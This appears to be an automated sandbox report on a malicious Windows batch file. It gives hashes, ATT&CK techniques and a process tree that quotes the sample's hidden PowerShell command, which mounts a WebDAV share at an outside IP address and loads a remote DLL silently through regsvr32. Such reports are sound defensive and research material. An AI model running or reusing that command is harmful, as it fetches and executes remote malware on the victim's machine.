9c88c27d0901f57f3e9b2657ce8b035e421dcb3abb09687338ec4d2395e03117

Analysis

max time kernel
100s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 10:12

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General

Target

31507318883132931429.bat
Size

19KB
MD5

fc2be7699fd369fdff8467fa5337026d
SHA1

1c351f559c46256a0af199d5a98f685ce54bba97
SHA256

9c88c27d0901f57f3e9b2657ce8b035e421dcb3abb09687338ec4d2395e03117
SHA512

63203b5d51d931b13ee47195324a337b1be8c118fa275c3beb962797652abb9d4a6f664f5d5e4b0cabc1e380af668b49e00603bb3418dfc79f55cd8231893f9d
SSDEEP

384:UrvEqmIvV16TXVo+zvKBpFmUOQOI3wDwT54OYxmmXmH7mR:yvdt4XZzvKBpFNDOOwD8mOrmXm7g

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4128	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4128	powershell.exe
4128	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4128	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2068	wordpad.exe
2068	wordpad.exe
2068	wordpad.exe
2068	wordpad.exe
2068	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 2068	1824	cmd.exe	85
PID 1824 wrote to memory of 2068	1824	cmd.exe	85
PID 1824 wrote to memory of 4128	1824	cmd.exe	87
PID 1824 wrote to memory of 4128	1824	cmd.exe	87
PID 4128 wrote to memory of 1748	4128	powershell.exe	89
PID 4128 wrote to memory of 1748	4128	powershell.exe	89
PID 4128 wrote to memory of 4612	4128	powershell.exe	90
PID 4128 wrote to memory of 4612	4128	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31507318883132931429.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\175591042119909.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1748
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\175591042119909.dll
    3⤵
    PID:4612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23u32ach.urb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4128-0-0x000001A7F76B0000-0x000001A7F76D2000-memory.dmp

Filesize
136KB

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